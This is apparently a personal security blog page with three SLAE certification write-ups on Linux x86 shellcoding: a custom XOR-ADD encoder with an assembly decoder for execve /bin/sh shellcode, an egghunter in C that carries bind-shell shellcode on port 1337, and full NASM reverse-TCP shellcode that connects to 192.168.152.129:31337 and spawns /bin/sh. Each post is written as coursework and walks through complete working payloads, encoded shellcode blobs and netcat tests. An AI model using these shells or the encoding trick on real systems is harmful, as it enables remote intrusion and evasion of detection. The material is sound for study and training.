SLAE ASSIGNMENT 4 | Custom ENCODER/DECODER - LINUX X86

SLAE ASSIGNMENT 4 | Custom ENCODER/DECODER - LINUX X86

April 26, 2020   assembly, custom decoder, custom encoder, custom encoder/decoder, egghunter shellcode, pentester academy, security tube, shellcoding, SLAE, SLAE x86,

This blog post has been created for completing the requirements of SecurityTube Linux Assembly Expert Certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ Student ID: SLAE - 1342

Hello Shellcoders,
     Welcome to Pwsec land once again. Again it's been a week since I wrote my last article. But I guess I get the motivation to complete the assignment only during the weekend. If you haven’t seen my Assignment 3 blog post on EggHunter x86 shellcode, then you can check it [Here]. Today in this post we will be creating our own Custom Encoding Shema and will encode our execve-stack x86 Shellcode with it. Also we will be writing our encoder in python and decoder in ASM. This is the fourth assignment for the completion of SLAE exam. So, the requirement is:

• Create a Custom Encoding Scheme
• PoC with using execve-stack x86 shellcode to encode with our schema and execute.

So I thought a lot but I am not a cryptographer, Therefore, I decided to create a simple encoding scheme which will first add and then xor the output with 0xbb. Let’s start by creating the encoder in python.

	#Simple XOR-ADD encoder
	#SLAE - 1342
	import sys
	import binascii
	a = (b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")
	b = bytes(a)
	e = ""
	e1 = ""
	for x in bytearray(b):
	print("x-->", type(x))
	z = (x + 73)%256
	y = z^0xbb
	print("y-->", y)
	e += "\\x"
	e += "%02x" % y
	e1 += "0x"
	e1 += "%02x," % y
	print(e)
	print(e1)

view raw encoding_scheme.py hosted with ❤ by GitHub

Well as you can see we are first adding 73 and then XORing it with 0xBB. Well you must be wondering why 73? Right? Well I have been watching Big Bang Theory from so long now and I am a huge fan of Sheldon Cooper. In episode 73 "The Alien Parasite Hypothesis," the number 73 is actually pretty special. "73 is the 21st prime number," which Sheldon explains. "Its mirror, 37, is the 12th and its mirror, 21, is the product of multiplying 7 and 3 ... and in binary 73 is a palindrome, 1001001, which backward is 1001001." Haha xD Need any more explanation to why not to use it? and talking about 0xbb for xoring. Why? because why not? xD

Pretty easy, huh? If you still have any doubt, then please feel free to ping me on twitter [@Pwsecspirit].

Here is the output of what it looks like.

Now we have the encoded shellcode with us. Let’s write the decoder for it in assembly. Beginning with the assembly code.

aaaa Well, in this piece of code we will be taking a short jump to “call_shellcode”. Also, everything is explained in the comment, let me clear some stuff. In assembly we use ";" (semicolon) to comment something. Ez-Pz… right? Moving ahead.

So in this code, we will be calling the “shellcode” and the next line below the call instruction will get pushed onto the stack, which is nothing but our encoded shellcode. Also I have defined the mlen variable which stores the length of shell ( our encoded shellcode).

So now our encoded shellcode is on stack. Let’s pop it out inside the ESI register. Then we will be xoring the eax with eax to make it 0/null. Then we are moving the length of our encoded shellcode inside the AL register. Which are the lower 8 bits of EAX.

This is the place where the real magic began. So first we are xoring the current ESI value with "0xbb" and then subtracting 73 from it because we have added 73. Then we are decreasing the value of al which is holding the length of the encoded shellcode. Once it set the zero flag then we will jump to the decoded shellcode else we will keep incrementing the ESI address by 1 i.e [ESI+1]..[ESI+n] and taking a short back jump to decode to do the whole process byte-by-byte till our whole shellcode gets decoded.

Here is the execve-stack x86 shellcode code.

	; Author: Shubham Singh
	; SLAE - 1342
	; Assignment 2: Custom Encoding Scheme Decoder Shellcode / Linux x86
	global _start
	section .text
	_start:
	;Classic usage of JMP-CALL-POP Technique
	jmp short call_shellcode ;Take a short jump to call_shellcode
	shellcode:
	pop esi ;So now the shell is on stack we can pop it out and save inside ESI register
	xor eax,eax ;Now eax will become 0
	mov al,mlen ;Move the value of mlen inside al register
	decode:
	xor byte [esi], 0xBB ;The last encoding will get decoded first. So we encoded with 0xBB now we are doing it again,
	;To get it's orignal value.
	sub byte [esi], 73 ;Subtract 73 because we added 73 while encoding.
	dec al ;Decrease the value of al
	jz shell ;Once we reach 1 and the above instruction gets hit it will set the ZERO flag.
	;Then only we will take this jump to our decoded shellcode
	inc esi ;Else Keep increasing the ESI
	jmp short decode ;And take a short back jump to decode
	call_shellcode:
	call shellcode ;Call Shellcode and the below instruction will be pushed on stack
	shell: db 0xc1,0xb2,0x22,0x0a,0xc3,0xc3,0x07,0x0a,0x0a,0xc3,0x10,0x09,0x0c,0x69,0x97,0x22,0x69,0x90,0x27,0x69,0x91,0x42,0xef,0xad,0x72,0xBB
	mlen equ $-shell ;mlen = len(shell)

view raw decode-shellcode.nasm hosted with ❤ by GitHub

In the 1st pane, I've just encoded the shellcode.
In pane 2, I have pasted it inside decode_shellcode.NASM  and assembled the assembly file and linked the object file.
In pane 3, I have just copied the opcode of the disassembled decoder shellcode inside the shellcode.c and compiled it with GCC.
In pane 4, I have executed the shellcode.

Thanks,

Continue Reading

SLAE ASSIGNMENT 3 | EggHunter SHELLCODE - LINUX X86

SLAE ASSIGNMENT 3 | EggHunter SHELLCODE - LINUX X86

April 18, 2020   assembly, egghunter shellcode, pentester academy, security tube, shellcoding, SLAE, SLAE x86,

This blog post has been created for completing the requirements of SecurityTube Linux Assembly Expert Certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ Student ID: SLAE - 1342

Hello Shellcoders,
It has been a week since I wrote my last article. Yesterday, I got a chance to work on my SLAE assignments again, if you haven’t seen my Assignment 2 blog post on Shell Reverse TCP x86 shellcode, then you can check it [Here]. Today in this post we will be discussing the EggHunter x86 Shellcode which is the third assignment for the SLAE exam.
So the requirement is:

• Create an egghunter shellcode 
• Should Be Configurable for different payloads. 

So first, let’s see what Corelen has to say about EggHunter, 

It is a small amount of custom shellcode to find your actual (bigger) shellcode (the “egg”) by searching for the final shellcode in memory.  In other words, first, a small amount of code is executed, which then tries to find the real shellcode and executes it.

Pretty easy, huh? If you still have any doubt, then please feel free to ping me on twitter [@Pwsecspirit]

Let's start by viewing the pseudo code for the egghunter shellcode to get an idea for implementation in assembly x86.

fun egg(addr)
{
if (value(addr) == <*egg>)
      jump_to(addr)
else
     egg(addr+1)
}

It gives us a rough idea about what we need to do. Also, I read a ton of blog posts to understand a lot of things and a great paper on egghunting by Skape. Hence I got the basic idea of what we need to do.
So in Skape's paper, he talked about 3 methods -> Well sure there are other methods also to make the egghunting shellcode. But for starters, it might be a great place to start. Anyways, in my assignment, I will be using the 3rd method i.e using sigaction systemcall.

Alright so these are the syscalls that we need to use, but how would we be able to call them? Well for that we will need sigaction().

Now in my first shellcoding post I read the value from “unistd_32.h” itself, but now I use sysref tool by one of my friends @berkcgoksel. Go try it if you know which syscall you want to look for.

Okay so " sys_sigactionl " is at numbe 67, in hex it's value would be 0x43.
Well, we need to look for the value for EFAULT error also, Which is basically just a “Bad address.”

Okay, we will be needing -14 for EFAULT values. You might be wondering why I said -14, when 14 is written over there. Well, the standard errno is a positive number but Linux kernel uses the negative values. Now let's begin with the assembly code.

Your assembly must have _start (It could be any name) in the code so it will understand that the code will begin from that point. Now start writing in the _start section:

This simple instruction will jump to next_addr

Well, here in this piece of code we will be increasing the ECX value by one and calling sys_sigaction syscall to get the next address. Also, everything is explained in the comment, let me clear some stuff. In assembly we use " ; " semicolon to comment something.
Also who are new then here is a cheat sheet for you.

• EAX- System call number 
• EBX- First argument 
• ECX- Second argument 
• EDX- Third argument 
• ESI- Forth argument 
• EDI- Fifth argument

In the end, when everything is done we use " int 0x80 " to interrupt the call. In normal language it's like calling the kernel, giving them all register values and using those values the kernel will get the work done for us. Ez Pz? Moving ahead.

So as you can see my linux page size is 4096 bytes which is 4.096 kb.

We will be doing the bitwise or operation on the current ecx register. Well 0x0fff is nothing but the 4095. After this again the next_addr will run and then the same check_if_efault. Till we get the value where zero flag won’t be set once we find it then we will go inside check_if_egg, 

So inside check_if_egg our cute little egg will be defined. So we will be moving the egg value in eax , after it we will be moving the current value that ecx holds inside edi, which is generally the address pointer. Because  “scasd” instruction checks if the EAX == EDI , if not equals then we will check the next address. We will do it till we get the same address and when it will find the address we will jump to EDI, which currently holds the address to our bind/reverse/execve shellcode (Any shellcode we wanna jump to).

I will be using my Bind Shell from assignment 1.

	/*
	# Title: Linux/x86 - EggHunter + Null-Free Shellcode (33 Bytes)
	# Author: Shubham Singh
	# Tested on: x86 GNU/Linux
	# Shellcode Length: 33 Bytes
	#Student ID: SLAE - 1342
	#Description: Null-Free Egg Hunter Shellcode - 33 Bytes
	#file format elf32-i386
	Disassembly of section .text:
	08048060 <_start>:
	8048060: eb 05 jmp 8048067 <next_addr>
	08048062 <page_allignment>:
	8048062: 66 81 c9 ff 0f or $0xfff,%cx
	08048067 <next_addr>:
	8048067: 31 c0 xor %eax,%eax
	8048069: 41 inc %ecx
	804806a: b0 43 mov $0x43,%al
	804806c: cd 80 int $0x80
	0804806e <check_if_efault>:
	804806e: 3c f2 cmp $0xf2,%al
	8048070: 74 f0 je 8048062 <page_allignment>
	08048072 <check_if_egg>:
	8048072: b8 ef be ad de mov $0xdeadbeef,%eax
	8048077: 89 cf mov %ecx,%edi
	8048079: af scas %es:(%edi),%eax
	804807a: 75 eb jne 8048067 <next_addr>
	804807c: af scas %es:(%edi),%eax
	804807d: 75 e8 jne 8048067 <next_addr>
	804807f: ff e7 jmp *%edi
	POC:
	1. ➜ gcc -fno-stack-protector -z execstack shellcode1.c -o shellcode1
	2. ➜ ./shellcode1
	Length of Egg Hunter Shellcode: 33
	Shellcode length: 102
	3. Open new terminal and type
	➜ nc 127.0.0.1 1337
	ls
	bind_shell
	bind_shell.nasm
	bind_shell.o
	egghunter_shellcode
	egghunter_shellcode.nasm
	egghunter_shellcode.o
	*/
	#include<stdio.h>
	#include<string.h>
	#define EGG "\xef\xbe\xad\xde"
	unsigned char egg_search[] = \
	"\xeb\x05\x66\x81\xc9\xff\x0f\x31\xc0\x41\xb0\x43\xcd\x80\x3c\xf2\x74\xf0\xb8\xef\xbe\xad\xde\x89\xcf\xaf\x75\xeb\xaf\x75\xe8\xff\xe7";
	unsigned char code[]= \
	EGG
	EGG
	"\x31\xc0\x31\xdb\x99\xb0\x66\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x96\x31\xc0\xb0\x66\x43\x52\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x31\xc9\xb1\x02\x49\xb0\x3f\xcd\x80\x79\xf9\x31\xc9\x51\x6a\x0b\x58\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";
	main()
	{
	printf("Length of Egg Hunter Shellcode: %d\n", strlen(egg_search));
	printf("Shellcode length: %d\n", strlen(code));
	int (*ret)()=(int (*)())egg_search;
	ret();
	}

view raw slae-assignment3.c hosted with ❤ by GitHub

In the 1st pane I've just compiled my C code and ran the executable.
In pane 2 , I'm just showing my IP address.
In pane 3,  I'm just showing using netstat command that the port 1337 is opened and is in LISTINING state.
In pane 4, I've used the nc command which is short for netcat. I used it to to connect to the Ubuntu box where port 1337 is listening.

Thanks,

Continue Reading

SLAE Assignment 2 | Shell Reverse TCP Shellcode - Linux x86

SLAE Assignment 2 | Shell Reverse TCP Shellcode - Linux x86

April 10, 2020   assembly, pentester academy, reverse tcp shellcode, security tube, shellcoding, SLAE, SLAE x86,

This blog post has been created for completing the requirements of SecurityTube Linux Assembly Expert Certification:http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/Student ID: SLAE - 1342

Hello Shellcoders,
    It's been a while since I have written any article. So due to the COVID-19 outbreak, I got a chance to relearn assembly and start working on my SLAE assignments again, if you haven’t seen my Assignment 1 blog post on bind shell x86 shellcoding, then you can check it [Here].
Today in this post we will be discussing the Reverse Tcp Shell x86 Shellcode which is the second assignment for the SLAE exam. So the requirement is:
Create a shell_reverse_tcp shellcode

• Reverse connection to configured IP and port.
• Execs shell on successful connection 

IP and port should be easily configurable.
So, first let’s see what a reverse shell is and how it works,

So unlike the previously discussed post on bind shell x86 shellcoding, reverse shell is slightly different. If you will pay attention to the above diagram, in reverse shell what an attacker generally do is,  he first initiates a reverse TCP connection from the victim machine that has been compromised and uses it to get back to a host (which the attacker controls). Then after successful connect b/w victim computer and attacker computer it launches a bash or sh shell in case of Linux with which the attacker can interact.

I hope the basic understanding about the reverse shell is clear in your mind now. If you still have any doubt then feel free to ping me on twitter [@Pwsecspirit] Let's start by seeing the C code first for the reverse shell to get the idea of implementation in assembly x86. So I am referring to this C code, which you can find [Here].

It gives us a rough idea about what syscalls we will be needing in our journey.

• socket()
• connect()
• dup2()
• execve()

Alright so these are the syscalls that we need to use, but how would we be able to call them? Well for that we will need socketcall() Now in my last post I read the value from “unistd_32.h” itself, but now I use sysref tool by one of my friends @berkcgoksel. Go try it if you know which syscall you want to look for.

Okay so " sys_Socketcall " is at 102 number, in hex it's value would be 0x66. Now in assembly we can't write use connect().  A particular value is assigned to each call instead. We need call numbers for the socket and connect calls.

Okay we will need 1 for socket() and 3 for connect() AF_MAX values. Now let's begin with the assembly code.

Your assembly must have _start in the code so it will understand that the code will begin from that point. Now start writing in the _start section:

As discussed in the previous post we are going to use the same XOR operation. If you don’t know about XOR, let me tell you there is a very beautiful property of XOR which we are using here,
The property says , XOR something with itself will always be 0.
So, " xor eax, eax " will be 0 or NULL out the eax register , same with “xor ebx,ebx” ebx register and same with “xor ecx,ecx” ecx register. All of these  instruction takes 2 bytes in our shellcode so in order to save our 1 byte I have used cdq because the CDQ instruction copies the sign (bit 31) of the value in the EAX register into every bit position in the EDX register.

Everything is explained in the comments but let me clear some stuff just in case.. In assembly we use " ; " semicolon to comment something.

• EAX- System call number
• EBX- First argument
• ECX- Second argument
• EDX- Third argument
• ESI- Forth argument
• EDI- Fifth argument

In the end when everything is done we use " int 0x80 " to interrupt the call. In normal language it's like calling the kernel, giving them all register values and using those values the kernel will  get the work done for us. Ez Pz? Moving ahead.

Well, whenever you interrupt the call the return value of the function gets stored in the eax register. So to save it for our future reference we can save it in some other register that we are not using. So I chose the esi register and I am using xchg instruction so it will simply exchange the value between them.

Its like if esi -> 0 

And eax -> 4

Then after (xchg esi, eax) , the values or the data will get exchanged. ESI will now have 4 and EAX will have 0. Now lets have a look at connect().

It will call connect() , also if you want to change the ip address and port number then you can simply change “push dword 0x8198a8c0 ” for ip in hex-> little endian , " mov word dx,0x697a " for port , with your hex value of your port number.

Now we will need dup2() , Read more about from [Here]. First thing first, we need to find the dup2 syscall number.

The syscall number for dup2 is 63 which is 0x3f in hex.

So we are just running the loop and it will run 3 times with the value. Here we are using a loop for duplicating in, out and error with the file descriptor. Now we are left with the final thing.

This is the basic execve() shellcode. It will just pop the " /bin/sh " shell for us xD . Read more about it. [Here]

	; Author: Shubham Singh
	; SLAE - 1342
	; Assignment 2: Shell Reverse TCP Shellcode / Linux x86 (83 Bytes)
	global _start
	section .text
	_start:
	;socket(AF_INET, SOCK_STREAM, 0)
	;socket(2,1,0)
	;The sys_socketcall value is 102 and 0x66 in hex.
	xor eax,eax ;eax is now 0
	xor ebx,ebx ;ebx is now 0
	xor ecx,ecx ;ecx is now 0
	cdq ;edx is now 0 as cdq convert dword to quad word and uses edx:eax
	mov al,0x66 ;socketcall() syscall number is 102 in decimal and 0x66 in hexadecimal.
	inc ebx ;EBX was 0 before this instruction, now inc will increase by 1. So after this instruction the ebx will be 1
	push ecx ;ecx is 0 and we are pushing 0x00000000 on stack
	push BYTE 0x1 ;Pushing 0x1 byte on stack
	push BYTE 0x2 ;Pushing 0x2 byte on stack
	mov ecx,esp ;Now ecx will have the value of esp which points to the top of the stack.
	int 0x80 ;intrupt sys call and now the access will go to kernel
	xchg esi,eax ;save the eax value that is the return value from the above syscall. Which is actually the FD
	;connect(s, [(struct sockaddr *)&sa], sizeof(sa))
	push dword 0x8198a8c0 ;IP=192.168.152.129 , address in little endian, it's 192 -> c0 , 168 ->a8 , 152->98, 129->81
	mov word dx,0x697a ;port=31337, in little endian. moving the 31337 hex value in dx register.
	push dx ;pushing the value that dx currently holds on stack.
	push word 0x2 ;pushing 0x2 i.e 2 on stack
	mov edx,esp ;Now edx will have the value of esp which points to the top of the stack
	push 0x10 ;pushing 0x10 BYTE on stack
	push edx ;pushing the edx pointer on stack,
	push esi ;pushing the esi which has the return value (FD) of socketcall.
	mov ecx,esp ;Now ecx will have the value of esp which points to the top of the stack
	;xor edx,edx ;Now edx will be 0
	mov bl,0x3 ;Moving the 0x3 byte in bl register. bl is the lower 8 bytes of eb register
	mov al,0x66 ;connect() has no unique syscall number, we can usesocketcall() syscall number. It is 102 in decimal and 0x66 in hexadecimal.
	int 0x80 ;intrupt sys call and now the access will go to kernel
	;dup2()
	xor eax,eax ;Now eax will be 0
	cdq ;edx is now 0 as cdq convert dword to quad word and uses edx:eax
	xor ecx,ecx ;Now ecx will be 0
	mov cl,0x2 ;Moving 0x2 inside cl register which is the lowest 8 bytes of ecx register.
	dup_loop:
	mov al,0x3F ;dup2() syscall is 66 in decimal and 0x3f in hex we are moving it inside al register
	int 0x80 ;intrupt sys call and now the access will go to kernel
	dec ecx ;The dec ecx will decreases the value of ecx by one byte
	jns dup_loop ;jns checks if jump short if not sign-> SF=0. So after 0 when the above instruction will run then the sign flag will be set, and we will be out of loop.
	; execve(const char *filename, char *const argv[],char *const envp[]);
	mov al,0xb ;sys_execve() syscall number is 11 in decimal and 0x0b or 0xb in hex, we are stroring it inside al register.
	push edx ;pushing the nullbytes on stack.
	;pushing /bin//sh in hex on stack in little endian format
	push 0x68732f2f ;Pushing "hs//" on stack in hex
	push 0x6e69622f ;Pushihng "nib/" on stack in hex.
	mov ebx,esp ;Now EBX will have the value of esp which points to the top of the stack
	push edx ;Pushing nullbytes on stack
	push ebx ;Pushing the EBX pointer on stack which hold the value to
	mov ecx,esp ;Now ecx will have the value of esp which points to the top of the stack-> which points to the ebx pointer
	int 0x80 ;intrupt sys call and now the access will go to kernel

view raw slae-assignment2.nasm hosted with ❤ by GitHub

Here is the result

In the 1st pane I've just assembled the assembly file and linked the object file.
In the 2nd pane , the attacker is listening on port 31337, "nc -nvlp 31337" command is running to start listening on port 31337.
In pane 3 , I am just executing the shellcode.
In pane 4, I have just shown my IP address.

Please let me know if I made any mistakes,

Thanks,
Spirited Wolf

Continue Reading